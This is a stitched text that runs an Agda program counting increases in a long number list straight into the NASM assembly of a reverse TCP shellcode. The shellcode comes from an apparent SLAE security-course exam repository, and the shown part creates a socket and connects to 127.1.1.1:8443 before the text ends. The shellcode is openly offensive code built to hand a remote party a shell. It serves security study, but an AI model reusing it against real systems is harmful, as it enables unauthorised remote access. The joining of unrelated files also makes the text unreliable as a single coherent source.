postulate putStrLn : String → IO ⊤
{-# FOREIGN GHC import qualified Data.Text as T #-}
{-# COMPILE GHC putStrLn = putStrLn . T.unpack #-}
doTask : (list : List ℕ) → ℕ
doTask [] = 0
doTask (x ∷ []) = 0
doTask (x ∷ x₁ ∷ xs) =
if x <ᵇ x₁
then 1 + doTask (x₁ ∷ xs)
else doTask (x₁ ∷ xs)
input =
104 ∷
105 ∷
109 ∷
120 ∷
124 ∷
113 ∷
120 ∷
121 ∷
122 ∷
123 ∷
134 ∷
133 ∷
134 ∷
150 ∷
160 ∷
165 ∷
179 ∷
178 ∷
180 ∷
178 ∷
196 ∷
197 ∷
198 ∷
204 ∷
197 ∷
213 ∷
206 ∷
207 ∷
209 ∷
210 ∷
211 ∷
223 ∷
212 ∷
224 ∷
228 ∷
238 ∷
237 ∷
238 ∷
242 ∷
245 ∷
249 ∷
250 ∷
253 ∷
248 ∷
261 ∷
265 ∷
274 ∷
276 ∷
274 ∷
275 ∷
278 ∷
275 ∷
276 ∷
267 ∷
266 ∷
272 ∷
275 ∷
279 ∷
280 ∷
286 ∷
282 ∷
292 ∷
308 ∷
323 ∷
324 ∷
319 ∷
310 ∷
304 ∷
309 ∷
310 ∷
320 ∷
326 ∷
322 ∷
340 ∷
341 ∷
340 ∷
339 ∷
344 ∷
346 ∷
342 ∷
353 ∷
352 ∷
353 ∷
349 ∷
346 ∷
330 ∷
342 ∷
343 ∷
344 ∷
329 ∷
348 ∷
346 ∷
367 ∷
373 ∷
379 ∷
384 ∷
388 ∷
398 ∷
387 ∷
392 ∷
391 ∷
385 ∷
409 ∷
411 ∷
416 ∷
419 ∷
420 ∷
423 ∷
422 ∷
420 ∷
421 ∷
422 ∷
421 ∷
422 ∷
441 ∷
438 ∷
428 ∷
431 ∷
443 ∷
427 ∷
433 ∷
434 ∷
432 ∷
421 ∷
429 ∷
432 ∷
434 ∷
439 ∷
437 ∷
445 ∷
456 ∷
462 ∷
464 ∷
472 ∷
474 ∷
460 ∷
433 ∷
439 ∷
433 ∷
444 ∷
456 ∷
457 ∷
452 ∷
454 ∷
455 ∷
465 ∷
474 ∷
475 ∷
486 ∷
489 ∷
490 ∷
491 ∷
472 ∷
477 ∷
475 ∷
493 ∷
497 ∷
495 ∷
496 ∷
488 ∷
500 ∷
501 ∷
504 ∷
505 ∷
524 ∷
525 ∷
522 ∷
530 ∷
548 ∷
545 ∷
562 ∷
570 ∷
582 ∷
583 ∷
584 ∷
586 ∷
585 ∷
604 ∷
606 ∷
610 ∷
617 ∷
619 ∷
621 ∷
623 ∷
620 ∷
622 ∷
624 ∷
625 ∷
633 ∷
627 ∷
623 ∷
638 ∷
639 ∷
644 ∷
643 ∷
644 ∷
648 ∷
663 ∷
695 ∷
681 ∷
682 ∷
686 ∷
692 ∷
708 ∷
712 ∷
720 ∷
736 ∷
737 ∷
738 ∷
739 ∷
738 ∷
741 ∷
742 ∷
741 ∷
746 ∷
748 ∷
751 ∷
750 ∷
782 ∷
788 ∷
793 ∷
799 ∷
790 ∷
834 ∷
852 ∷
860 ∷
848 ∷
856 ∷
857 ∷
859 ∷
860 ∷
863 ∷
849 ∷
844 ∷
854 ∷
860 ∷
862 ∷
865 ∷
864 ∷
866 ∷
887 ∷
878 ∷
899 ∷
893 ∷
895 ∷
896 ∷
897 ∷
876 ∷
877 ∷
886 ∷
887 ∷
898 ∷
905 ∷
906 ∷
907 ∷
875 ∷
877 ∷
875 ∷
894 ∷
893 ∷
871 ∷
878 ∷
879 ∷
872 ∷
868 ∷
873 ∷
884 ∷
900 ∷
899 ∷
886 ∷
896 ∷
903 ∷
909 ∷
928 ∷
932 ∷
935 ∷
928 ∷
913 ∷
917 ∷
919 ∷
920 ∷
912 ∷
917 ∷
923 ∷
926 ∷
927 ∷
932 ∷
936 ∷
944 ∷
942 ∷
961 ∷
960 ∷
961 ∷
956 ∷
951 ∷
971 ∷
980 ∷
990 ∷
999 ∷
1005 ∷
1008 ∷
1010 ∷
1011 ∷
1032 ∷
1034 ∷
1041 ∷
1066 ∷
1067 ∷
1064 ∷
1066 ∷
1070 ∷
1068 ∷
1079 ∷
1100 ∷
1122 ∷
1118 ∷
1111 ∷
1113 ∷
1141 ∷
1145 ∷
1170 ∷
1171 ∷
1170 ∷
1167 ∷
1170 ∷
1171 ∷
1178 ∷
1183 ∷
1186 ∷
1189 ∷
1190 ∷
1198 ∷
1200 ∷
1202 ∷
1204 ∷
1207 ∷
1226 ∷
1243 ∷
1245 ∷
1246 ∷
1247 ∷
1273 ∷
1267 ∷
1274 ∷
1276 ∷
1298 ∷
1293 ∷
1313 ∷
1315 ∷
1298 ∷
1301 ∷
1316 ∷
1322 ∷
1282 ∷
1256 ∷
1257 ∷
1263 ∷
1271 ∷
1294 ∷
1313 ∷
1322 ∷
1323 ∷
1322 ∷
1324 ∷
1309 ∷
1320 ∷
1325 ∷
1321 ∷
1327 ∷
1335 ∷
1334 ∷
1335 ∷
1346 ∷
1382 ∷
1388 ∷
1393 ∷
1395 ∷
1403 ∷
1417 ∷
1424 ∷
1426 ∷
1427 ∷
1428 ∷
1429 ∷
1432 ∷
1431 ∷
1430 ∷
1411 ∷
1439 ∷
1440 ∷
1441 ∷
1458 ∷
1461 ∷
1466 ∷
1471 ∷
1481 ∷
1483 ∷
1486 ∷
1488 ∷
1494 ∷
1490 ∷
1492 ∷
1489 ∷
1533 ∷
1560 ∷
1577 ∷
1582 ∷
1583 ∷
1592 ∷
1594 ∷
1593 ∷
1594 ∷
1599 ∷
1605 ∷
1616 ∷
1619 ∷
1621 ∷
1627 ∷
1651 ∷
1655 ∷
1656 ∷
1655 ∷
1653 ∷
1651 ∷
1652 ∷
1653 ∷
1657 ∷
1658 ∷
1660 ∷
1674 ∷
1680 ∷
1694 ∷
1700 ∷
1698 ∷
1676 ∷
1648 ∷
1644 ∷
1643 ∷
1645 ∷
1652 ∷
1653 ∷
1654 ∷
1660 ∷
1663 ∷
1664 ∷
1668 ∷
1671 ∷
1681 ∷
1687 ∷
1699 ∷
1702 ∷
1705 ∷
1707 ∷
1712 ∷
1739 ∷
1750 ∷
1753 ∷
1755 ∷
1779 ∷
1769 ∷
1792 ∷
1793 ∷
1798 ∷
1828 ∷
1832 ∷
1811 ∷
1844 ∷
1845 ∷
1846 ∷
1848 ∷
1854 ∷
1857 ∷
1859 ∷
1863 ∷
1866 ∷
1862 ∷
1894 ∷
1898 ∷
1875 ∷
1878 ∷
1879 ∷
1884 ∷
1897 ∷
1883 ∷
1894 ∷
1889 ∷
1890 ∷
1889 ∷
1907 ∷
1924 ∷
1926 ∷
1936 ∷
1940 ∷
1949 ∷
1950 ∷
1968 ∷
1973 ∷
1974 ∷
1971 ∷
1982 ∷
1989 ∷
2004 ∷
2005 ∷
2007 ∷
2018 ∷
2032 ∷
2037 ∷
2039 ∷
2040 ∷
2042 ∷
2046 ∷
2056 ∷
2053 ∷
2054 ∷
2057 ∷
2059 ∷
2063 ∷
2067 ∷
2065 ∷
2059 ∷
2049 ∷
2052 ∷
2045 ∷
2053 ∷
2057 ∷
2063 ∷
2066 ∷
2061 ∷
2068 ∷
2063 ∷
2058 ∷
2060 ∷
2061 ∷
2066 ∷
2065 ∷
2093 ∷
2094 ∷
2126 ∷
2135 ∷
2136 ∷
2119 ∷
2121 ∷
2134 ∷
2135 ∷
2137 ∷
2138 ∷
2143 ∷
2144 ∷
2152 ∷
2159 ∷
2154 ∷
2159 ∷
2162 ∷
2164 ∷
2158 ∷
2163 ∷
2162 ∷
2159 ∷
2165 ∷
2166 ∷
2167 ∷
2165 ∷
2169 ∷
2172 ∷
2182 ∷
2188 ∷
2173 ∷
2182 ∷
2175 ∷
2182 ∷
2203 ∷
2205 ∷
2206 ∷
2212 ∷
2213 ∷
2218 ∷
2229 ∷
2226 ∷
2233 ∷
2235 ∷
2233 ∷
2257 ∷
2258 ∷
2284 ∷
2280 ∷
2282 ∷
2285 ∷
2279 ∷
2280 ∷
2291 ∷
2292 ∷
2293 ∷
2294 ∷
2291 ∷
2292 ∷
2293 ∷
2300 ∷
2308 ∷
2303 ∷
2308 ∷
2312 ∷
2311 ∷
2320 ∷
2315 ∷
2326 ∷
2328 ∷
2330 ∷
2352 ∷
2349 ∷
2352 ∷
2357 ∷
2346 ∷
2360 ∷
2375 ∷
2374 ∷
2375 ∷
2377 ∷
2385 ∷
2392 ∷
2383 ∷
2386 ∷
2388 ∷
2403 ∷
2411 ∷
2400 ∷
2401 ∷
2402 ∷
2399 ∷
2400 ∷
2401 ∷
2397 ∷
2417 ∷
2419 ∷
2431 ∷
2430 ∷
2429 ∷
2421 ∷
2429 ∷
2427 ∷
2428 ∷
2429 ∷
2424 ∷
2425 ∷
2426 ∷
2432 ∷
2433 ∷
2435 ∷
2436 ∷
2441 ∷
2454 ∷
2455 ∷
2456 ∷
2464 ∷
2462 ∷
2463 ∷
2465 ∷
2475 ∷
2489 ∷
2495 ∷
2497 ∷
2467 ∷
2484 ∷
2486 ∷
2487 ∷
2502 ∷
2509 ∷
2504 ∷
2503 ∷
2496 ∷
2515 ∷
2516 ∷
2542 ∷
2550 ∷
2552 ∷
2554 ∷
2557 ∷
2559 ∷
2565 ∷
2563 ∷
2552 ∷
2553 ∷
2555 ∷
2552 ∷
2559 ∷
2564 ∷
2565 ∷
2548 ∷
2546 ∷
2536 ∷
2540 ∷
2542 ∷
2543 ∷
2544 ∷
2561 ∷
2550 ∷
2551 ∷
2552 ∷
2556 ∷
2562 ∷
2559 ∷
2596 ∷
2583 ∷
2586 ∷
2584 ∷
2585 ∷
2590 ∷
2592 ∷
2590 ∷
2591 ∷
2599 ∷
2615 ∷
2617 ∷
2595 ∷
2599 ∷
2607 ∷
2605 ∷
2600 ∷
2612 ∷
2611 ∷
2591 ∷
2611 ∷
2590 ∷
2599 ∷
2597 ∷
2604 ∷
2612 ∷
2613 ∷
2620 ∷
2603 ∷
2592 ∷
2604 ∷
2606 ∷
2588 ∷
2591 ∷
2577 ∷
2576 ∷
2606 ∷
2605 ∷
2614 ∷
2618 ∷
2622 ∷
2633 ∷
2636 ∷
2648 ∷
2649 ∷
2638 ∷
2637 ∷
2644 ∷
2651 ∷
2650 ∷
2651 ∷
2658 ∷
2657 ∷
2659 ∷
2661 ∷
2660 ∷
2658 ∷
2669 ∷
2676 ∷
2688 ∷
2691 ∷
2693 ∷
2697 ∷
2698 ∷
2702 ∷
2699 ∷
2706 ∷
2707 ∷
2710 ∷
2698 ∷
2697 ∷
2705 ∷
2717 ∷
2718 ∷
2720 ∷
2721 ∷
2731 ∷
2749 ∷
2757 ∷
2765 ∷
2767 ∷
2759 ∷
2776 ∷
2780 ∷
2784 ∷
2778 ∷
2779 ∷
2783 ∷
2788 ∷
2789 ∷
2825 ∷
2826 ∷
2820 ∷
2825 ∷
2852 ∷
2871 ∷
2870 ∷
2872 ∷
2873 ∷
2878 ∷
2882 ∷
2900 ∷
2906 ∷
2908 ∷
2907 ∷
2917 ∷
2931 ∷
2933 ∷
2931 ∷
2952 ∷
2953 ∷
2954 ∷
2962 ∷
2971 ∷
2973 ∷
2960 ∷
2965 ∷
2967 ∷
2968 ∷
2982 ∷
2983 ∷
2994 ∷
2997 ∷
3014 ∷
3026 ∷
3028 ∷
3040 ∷
3057 ∷
3063 ∷
3064 ∷
3065 ∷
3066 ∷
3073 ∷
3056 ∷
3052 ∷
3067 ∷
3070 ∷
3071 ∷
3072 ∷
3073 ∷
3077 ∷
3078 ∷
3074 ∷
3083 ∷
3082 ∷
3079 ∷
3080 ∷
3081 ∷
3073 ∷
3069 ∷
3072 ∷
3081 ∷
3111 ∷
3109 ∷
3112 ∷
3126 ∷
3127 ∷
3128 ∷
3129 ∷
3135 ∷
3146 ∷
3147 ∷
3149 ∷
3142 ∷
3148 ∷
3152 ∷
3165 ∷
3173 ∷
3201 ∷
3216 ∷
3217 ∷
3218 ∷
3217 ∷
3235 ∷
3236 ∷
3241 ∷
3247 ∷
3248 ∷
3249 ∷
3251 ∷
3252 ∷
3251 ∷
3250 ∷
3252 ∷
3260 ∷
3261 ∷
3259 ∷
3255 ∷
3256 ∷
3257 ∷
3258 ∷
3259 ∷
3264 ∷
3299 ∷
3300 ∷
3304 ∷
3313 ∷
3326 ∷
3324 ∷
3326 ∷
3331 ∷
3340 ∷
3341 ∷
3343 ∷
3348 ∷
3342 ∷
3380 ∷
3381 ∷
3370 ∷
3374 ∷
3390 ∷
3379 ∷
3382 ∷
3383 ∷
3386 ∷
3388 ∷
3382 ∷
3386 ∷
3402 ∷
3400 ∷
3406 ∷
3408 ∷
3407 ∷
3409 ∷
3411 ∷
3412 ∷
3411 ∷
3412 ∷
3422 ∷
3441 ∷
3446 ∷
3451 ∷
3449 ∷
3451 ∷
3480 ∷
3500 ∷
3511 ∷
3520 ∷
3521 ∷
3525 ∷
3548 ∷
3557 ∷
3558 ∷
3560 ∷
3561 ∷
3562 ∷
3570 ∷
3571 ∷
3575 ∷
3571 ∷
3570 ∷
3574 ∷
3576 ∷
3583 ∷
3587 ∷
3594 ∷
3615 ∷
3619 ∷
3620 ∷
3622 ∷
3607 ∷
3599 ∷
3602 ∷
3604 ∷
3607 ∷
3617 ∷
3618 ∷
3623 ∷
3626 ∷
3632 ∷
3637 ∷
3635 ∷
3640 ∷
3641 ∷
3642 ∷
3654 ∷
3668 ∷
3669 ∷
3675 ∷
3670 ∷
3672 ∷
3675 ∷
3684 ∷
3688 ∷
3701 ∷
3699 ∷
3705 ∷
3704 ∷
3718 ∷
3724 ∷
3717 ∷
3734 ∷
3736 ∷
3741 ∷
3729 ∷
3730 ∷
3731 ∷
3722 ∷
3717 ∷
3718 ∷
3711 ∷
3708 ∷
3719 ∷
3737 ∷
3738 ∷
3734 ∷
3740 ∷
3747 ∷
3749 ∷
3740 ∷
3752 ∷
3758 ∷
3784 ∷
3787 ∷
3792 ∷
3800 ∷
3802 ∷
3803 ∷
3805 ∷
3814 ∷
3815 ∷
3813 ∷
3816 ∷
3812 ∷
3815 ∷
3816 ∷
3803 ∷
3799 ∷
3805 ∷
3806 ∷
3809 ∷
3788 ∷
3781 ∷
3783 ∷
3779 ∷
3780 ∷
3786 ∷
3776 ∷
3780 ∷
3790 ∷
3802 ∷
3806 ∷
3789 ∷
3790 ∷
3791 ∷
3804 ∷
3801 ∷
3797 ∷
3823 ∷
3826 ∷
3828 ∷
3831 ∷
3834 ∷
3843 ∷
3867 ∷
3870 ∷
3879 ∷
3883 ∷
3893 ∷
3909 ∷
3934 ∷
3932 ∷
3955 ∷
3961 ∷
3963 ∷
3968 ∷
3994 ∷
4001 ∷
4002 ∷
3999 ∷
4008 ∷
4003 ∷
4006 ∷
3997 ∷
3990 ∷
4020 ∷
4021 ∷
4027 ∷
4031 ∷
4038 ∷
4039 ∷
4043 ∷
4040 ∷
4036 ∷
4049 ∷
4050 ∷
4075 ∷
4077 ∷
4079 ∷
4061 ∷
4060 ∷
4062 ∷
4059 ∷
4050 ∷
4052 ∷
4053 ∷
4094 ∷
4097 ∷
4106 ∷
4107 ∷
4108 ∷
4112 ∷
4118 ∷
4122 ∷
4125 ∷
4124 ∷
4126 ∷
4127 ∷
4129 ∷
4130 ∷
4131 ∷
4139 ∷
4163 ∷
4164 ∷
4169 ∷
4168 ∷
4176 ∷
4177 ∷
4175 ∷
4177 ∷
4183 ∷
4186 ∷
4188 ∷
4194 ∷
4173 ∷
4163 ∷
4168 ∷
4198 ∷
4201 ∷
4202 ∷
4205 ∷
4177 ∷
4178 ∷
4181 ∷
4180 ∷
4211 ∷
4214 ∷
4215 ∷
4218 ∷
4219 ∷
4218 ∷
4215 ∷
4220 ∷
4230 ∷
4231 ∷
4232 ∷
4276 ∷
4281 ∷
4288 ∷
4289 ∷
4291 ∷
4293 ∷
4297 ∷
4304 ∷
4319 ∷
4330 ∷
4337 ∷
4343 ∷
4353 ∷
4360 ∷
4361 ∷
4377 ∷
4402 ∷
4401 ∷
4424 ∷
4429 ∷
4445 ∷
4452 ∷
4456 ∷
4460 ∷
4457 ∷
4434 ∷
4436 ∷
4438 ∷
4441 ∷
4442 ∷
4437 ∷
4439 ∷
4446 ∷
4447 ∷
4457 ∷
4456 ∷
4454 ∷
4455 ∷
4456 ∷
4461 ∷
4473 ∷
4471 ∷
4473 ∷
4481 ∷
4495 ∷
4498 ∷
4504 ∷
4511 ∷
4520 ∷
4541 ∷
4540 ∷
4561 ∷
4572 ∷
4577 ∷
4578 ∷
4577 ∷
4572 ∷
4575 ∷
4582 ∷
4608 ∷
4617 ∷
4623 ∷
4625 ∷
4635 ∷
4640 ∷
4673 ∷
4675 ∷
4676 ∷
4692 ∷
4687 ∷
4688 ∷
4692 ∷
4703 ∷
4685 ∷
4674 ∷
4693 ∷
4708 ∷
4703 ∷
4693 ∷
4681 ∷
4682 ∷
4696 ∷
4722 ∷
4729 ∷
4732 ∷
4739 ∷
4740 ∷
4744 ∷
4750 ∷
4751 ∷
4752 ∷
4751 ∷
4744 ∷
4746 ∷
4749 ∷
4754 ∷
4758 ∷
4748 ∷
4749 ∷
4760 ∷
4759 ∷
4761 ∷
4757 ∷
4767 ∷
4779 ∷
4771 ∷
4772 ∷
4774 ∷
4773 ∷
4791 ∷
4792 ∷
4790 ∷
4797 ∷
4790 ∷
4800 ∷
4810 ∷
4836 ∷
4830 ∷
4826 ∷
4828 ∷
4838 ∷
4836 ∷
4840 ∷
4846 ∷
4848 ∷
4863 ∷
4865 ∷
4867 ∷
4880 ∷
4883 ∷
4892 ∷
4908 ∷
4905 ∷
4909 ∷
4890 ∷
4891 ∷
4882 ∷
4889 ∷
4898 ∷
4900 ∷
4903 ∷
4909 ∷
4913 ∷
4919 ∷
4920 ∷
4922 ∷
4915 ∷
4922 ∷
4923 ∷
4944 ∷
4960 ∷
4978 ∷
4979 ∷
4983 ∷
5006 ∷
5009 ∷
5012 ∷
5011 ∷
5023 ∷
5045 ∷
5010 ∷
5026 ∷
5027 ∷
5030 ∷
5049 ∷
5055 ∷
5053 ∷
5068 ∷
5069 ∷
5077 ∷
5083 ∷
5084 ∷
5087 ∷
5094 ∷
5093 ∷
5101 ∷
5108 ∷
5110 ∷
5111 ∷
5116 ∷
5118 ∷
5121 ∷
5153 ∷
5155 ∷
5156 ∷
5157 ∷
5150 ∷
5171 ∷
5172 ∷
5180 ∷
5191 ∷
5185 ∷
5194 ∷
5218 ∷
5221 ∷
5216 ∷
5224 ∷
5225 ∷
5226 ∷
5225 ∷
5231 ∷
5227 ∷
5228 ∷
5223 ∷
5247 ∷
5245 ∷
5246 ∷
5260 ∷
5287 ∷
5281 ∷
5285 ∷
5287 ∷
5291 ∷
5302 ∷
5303 ∷
5304 ∷
5302 ∷
5310 ∷
5321 ∷
5317 ∷
5326 ∷
5327 ∷
5329 ∷
5307 ∷
5310 ∷
5313 ∷
5336 ∷
5358 ∷
5367 ∷
5369 ∷
5375 ∷
5379 ∷
5368 ∷
5370 ∷
5371 ∷
5372 ∷
5377 ∷
5383 ∷
5384 ∷
5389 ∷
5402 ∷
5404 ∷
5397 ∷
5400 ∷
5402 ∷
5403 ∷
5396 ∷
5400 ∷
5391 ∷
5394 ∷
5400 ∷
5386 ∷
5382 ∷
5389 ∷
5385 ∷
5386 ∷
5388 ∷
5390 ∷
5391 ∷
5397 ∷
5401 ∷
5403 ∷
5405 ∷
5409 ∷
5412 ∷
5431 ∷
5435 ∷
5440 ∷
5457 ∷
5454 ∷
5422 ∷
5423 ∷
5424 ∷
5423 ∷
5426 ∷
5417 ∷
5420 ∷
5424 ∷
5422 ∷
5447 ∷
5446 ∷
5455 ∷
5460 ∷
5472 ∷
5475 ∷
5482 ∷
5483 ∷
5485 ∷
5493 ∷
5494 ∷
5500 ∷
5512 ∷
5519 ∷
5539 ∷
5550 ∷
5554 ∷
5561 ∷
5571 ∷
5597 ∷
5598 ∷
5579 ∷
5584 ∷
5589 ∷
5591 ∷
5592 ∷
5593 ∷
5594 ∷
5616 ∷
5618 ∷
5628 ∷
5630 ∷
5617 ∷
5625 ∷
5626 ∷
5655 ∷
5654 ∷
5663 ∷
5673 ∷
5670 ∷
5669 ∷
5661 ∷
5660 ∷
5665 ∷
5669 ∷
5667 ∷
5675 ∷
5677 ∷
5679 ∷
5680 ∷
5703 ∷
5709 ∷
5710 ∷
5708 ∷
5710 ∷
5711 ∷
5713 ∷
5714 ∷
5715 ∷
5709 ∷
5738 ∷
5714 ∷
5718 ∷
5734 ∷
5735 ∷
5743 ∷
5738 ∷
5739 ∷
5740 ∷
5749 ∷
5752 ∷
5768 ∷
5757 ∷
5753 ∷
5752 ∷
5753 ∷
5754 ∷
5755 ∷
5758 ∷
5770 ∷
5769 ∷
5768 ∷
5781 ∷
5789 ∷
5798 ∷
5799 ∷
5814 ∷
5815 ∷
5824 ∷
5828 ∷
5829 ∷
5830 ∷
5831 ∷
5837 ∷
5835 ∷
5836 ∷
5832 ∷
5820 ∷
5821 ∷
5822 ∷
5814 ∷
5817 ∷
5818 ∷
5821 ∷
5818 ∷
5811 ∷
5814 ∷
5842 ∷
5844 ∷
5863 ∷
5874 ∷
5870 ∷
5883 ∷
5878 ∷
5890 ∷
5891 ∷
5900 ∷
5896 ∷
5895 ∷
5863 ∷
5860 ∷
5861 ∷
5859 ∷
5861 ∷
5865 ∷
5862 ∷
5864 ∷
5870 ∷
5890 ∷
5884 ∷
5889 ∷
5893 ∷
5898 ∷
5902 ∷
5922 ∷
5924 ∷
5926 ∷
5907 ∷
5909 ∷
5915 ∷
5914 ∷
5923 ∷
5925 ∷
5930 ∷
5932 ∷
5934 ∷
5946 ∷
5947 ∷
5950 ∷
5945 ∷
5957 ∷
5965 ∷
5966 ∷
5971 ∷
5967 ∷
5973 ∷
5974 ∷
5977 ∷
5979 ∷
5984 ∷
5991 ∷
5992 ∷
5994 ∷
6002 ∷
6005 ∷
6006 ∷
6011 ∷
6012 ∷
6014 ∷
6000 ∷
6019 ∷
6034 ∷
6053 ∷
6035 ∷
6036 ∷
6042 ∷
6047 ∷
6048 ∷
6050 ∷
6054 ∷
6074 ∷
6075 ∷
6077 ∷
6046 ∷
6055 ∷
6058 ∷
6060 ∷
6061 ∷
6062 ∷
6073 ∷
6081 ∷
6086 ∷
6088 ∷
6096 ∷
6097 ∷
6098 ∷
6099 ∷
6096 ∷
6110 ∷
6112 ∷
6113 ∷
6112 ∷
6111 ∷
6132 ∷
6115 ∷
6118 ∷
6127 ∷
6124 ∷
6128 ∷
6139 ∷
6145 ∷
6156 ∷
6155 ∷
6153 ∷
6152 ∷
6153 ∷
6157 ∷
6164 ∷
6176 ∷
6186 ∷
6187 ∷
6188 ∷
6190 ∷
6192 ∷
6185 ∷
6190 ∷
6191 ∷
6192 ∷
6191 ∷
6198 ∷
6200 ∷
6213 ∷
6214 ∷
6222 ∷
6242 ∷
6236 ∷
6246 ∷
6256 ∷
6257 ∷
6256 ∷
6257 ∷
6258 ∷
6259 ∷
6284 ∷
6285 ∷
6286 ∷
6290 ∷
6291 ∷
6287 ∷
6294 ∷
6298 ∷
6311 ∷
6301 ∷
6309 ∷
6312 ∷
6315 ∷
6318 ∷
6323 ∷
6325 ∷
6334 ∷
6323 ∷
6322 ∷
6323 ∷
6334 ∷
6335 ∷
6332 ∷
6343 ∷
6344 ∷
6348 ∷
6352 ∷
6358 ∷
6361 ∷
6362 ∷
6367 ∷
6381 ∷
6395 ∷
6412 ∷
6411 ∷
6410 ∷
6426 ∷
6444 ∷
6455 ∷
6461 ∷
6470 ∷
6449 ∷
6456 ∷
6455 ∷
6464 ∷
6463 ∷
6468 ∷
6474 ∷
6478 ∷
6477 ∷
6474 ∷
6473 ∷
6468 ∷
6474 ∷
6476 ∷
6501 ∷
6513 ∷
6516 ∷
6517 ∷
6518 ∷
6513 ∷
6515 ∷
6519 ∷
6515 ∷
6531 ∷
6537 ∷
6538 ∷
6531 ∷
6545 ∷
6553 ∷
6554 ∷
6560 ∷
6559 ∷
6562 ∷
6551 ∷
6563 ∷
6559 ∷
6557 ∷
6562 ∷
6564 ∷
6562 ∷
6564 ∷
6563 ∷
6568 ∷
6572 ∷
6573 ∷
6572 ∷
6583 ∷
6591 ∷
6595 ∷
6587 ∷
6589 ∷
6590 ∷
6581 ∷
6583 ∷
6593 ∷
6592 ∷
6616 ∷
6627 ∷
6654 ∷
6657 ∷
6667 ∷
6668 ∷
6680 ∷
6695 ∷
6682 ∷
6685 ∷
6691 ∷
6708 ∷
6720 ∷
6722 ∷
6723 ∷
6721 ∷
6750 ∷
6759 ∷
6760 ∷
6759 ∷
6760 ∷
6769 ∷
6772 ∷
6780 ∷
6774 ∷
6782 ∷
6774 ∷
6777 ∷
6778 ∷
6777 ∷
6786 ∷
6787 ∷
6792 ∷
6796 ∷
6802 ∷
6814 ∷
6816 ∷
6813 ∷
6814 ∷
6823 ∷
6807 ∷
6805 ∷
6804 ∷
6805 ∷
6806 ∷
6807 ∷
6801 ∷
6803 ∷
6806 ∷
6807 ∷
6799 ∷
6812 ∷
6832 ∷
6858 ∷
6846 ∷
6856 ∷
6857 ∷
6865 ∷
6867 ∷
6876 ∷
6877 ∷
6887 ∷
6889 ∷
6895 ∷
6896 ∷
6900 ∷
6901 ∷
6881 ∷
6874 ∷
6873 ∷
6876 ∷
6883 ∷
6888 ∷
6898 ∷
6899 ∷
6910 ∷
6913 ∷
6934 ∷
6932 ∷
6939 ∷
6940 ∷
6943 ∷
6968 ∷
6974 ∷
6978 ∷
6975 ∷
6956 ∷
6971 ∷
6953 ∷
6976 ∷
6983 ∷
6980 ∷
6986 ∷
6987 ∷
6988 ∷
6989 ∷
6992 ∷
7003 ∷
7004 ∷
7005 ∷
7004 ∷
7011 ∷
7017 ∷
7019 ∷
7030 ∷
7033 ∷
7037 ∷
7043 ∷
7053 ∷
7058 ∷
7062 ∷
7076 ∷
7078 ∷
7080 ∷
7093 ∷
7094 ∷
7095 ∷
7107 ∷
7106 ∷
7109 ∷
7110 ∷
7111 ∷
7112 ∷
7113 ∷
7116 ∷
7117 ∷
7119 ∷
7118 ∷
7119 ∷
7120 ∷
7122 ∷
7134 ∷
7145 ∷
7142 ∷
7174 ∷
7175 ∷
7185 ∷
7189 ∷
7190 ∷
7191 ∷
7214 ∷
7228 ∷
7236 ∷
7252 ∷
7267 ∷
7296 ∷
7302 ∷
7303 ∷
7322 ∷
7321 ∷
7323 ∷
7327 ∷
7331 ∷
7333 ∷
7337 ∷
7334 ∷
7343 ∷
7344 ∷
7352 ∷
7361 ∷
7369 ∷
7381 ∷
7384 ∷
7385 ∷
7384 ∷
7389 ∷
7393 ∷
7394 ∷
7395 ∷
7403 ∷
7425 ∷
7430 ∷
7431 ∷
7433 ∷
7441 ∷
7440 ∷
7424 ∷
7427 ∷
7419 ∷
7430 ∷
7432 ∷
7436 ∷
7437 ∷
7450 ∷
7451 ∷
7457 ∷
7477 ∷
7485 ∷
7490 ∷
7496 ∷
7503 ∷
7504 ∷
7508 ∷
7509 ∷
7485 ∷
7490 ∷
7501 ∷
7502 ∷
7506 ∷
7512 ∷
7513 ∷
7514 ∷
7515 ∷
7513 ∷
7528 ∷
7545 ∷
7554 ∷
7563 ∷
7569 ∷
7570 ∷
7573 ∷
7574 ∷
7586 ∷
7589 ∷
7605 ∷
7618 ∷
7620 ∷
7621 ∷
7624 ∷
7645 ∷
7658 ∷
7669 ∷
7672 ∷
7670 ∷
7671 ∷
7678 ∷
7680 ∷
7692 ∷
7712 ∷
7724 ∷
7730 ∷
7736 ∷
7737 ∷
7746 ∷
7759 ∷ []
main : IO ⊤
main = putStrLn (primShowNat (doTask input))
|
2 Shell Reverse TCP/reverse_tcp.nasm | kecebon9/slae32 | 0 | 85607 | <filename>2 Shell Reverse TCP/reverse_tcp.nasm
; SLAE Exam Assignment #2: Shell Reverse TCP shellcode
; Author: <NAME>
global _start
section .text
_start:
; zeroing the registers
xor ecx, ecx ; ecx = 0
mul ecx ; eax = 0
cdq ; xor edx, edx
socket:
; create a socket
; server_sock = socket(AF_INET, SOCK_STREAM, 0);
;
; eax : socketcall = 102 ~ 0x66
; ebx : SYS_SOCKET = 1 ~ 0x01
; ecx : args = esp (AF_INET = 0x02, SOCK_STREAM = 0x01, PROTOCOL = 0x00)
;
; socketcall
push byte 0x66 ; socketcall 102 ~ 0x66
pop eax ; eax = 0x66
push byte 0x01 ; SYS_SOCKET = 1
pop ebx ; ebx = 0x1
; parameters for socket
;
; (AF_INET, SOCK_STREAM, protocol)
; stack:
; ecx => esp
; 0x02 - AF_INET
; 0x01 - SOCK_STREAM
; 0x00 - protocol
; socket args
push ecx ; ecx = 0
push byte 0x01 ; SOCK_STREAM = 0x01
push byte 0x02 ; AF_INET = 0x02
mov ecx, esp ; copy arguments on the stack to ecx
int 0x80 ; return sockfd to eax
; store return sockfd on eax to edi
; that will be use for next instruction
xchg edi, eax ; store return sockfd on eax to edi
connect:
; initiate a connection on a socket
; socketcall
push byte 0x66 ; socketcall = 102 ~ 0x66
pop eax ; eax = 0x66
push byte 0x03 ; SYS_CONNECT = 3 ~ 0x03
pop ebx ; ebx = 0x03
;>>> "".join([ hex(int(y))[2:].zfill(2) for y in '127.1.1.1'.split('.')[::-1] ])
;'0101017f'
; struct sockaddr_in
push 0x0101017f ; 127.1.1.1
push word 0xfb20 ; PORT 8443 ~ 0x20fb - in reverse network byte order 0xfb20
push word 0x02 ; AF_INET = 2 ~ 0x02
mov ecx, esp ; ecx pointing to top of stack esp
; connect arg
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
push byte 0x10 ; sizeof sockaddr = 16 ~ 0x10
push ecx ; &server_addr
push edi ; sockfd
mov ecx, esp ; ecx pointing to top of stack esp
int 0x80
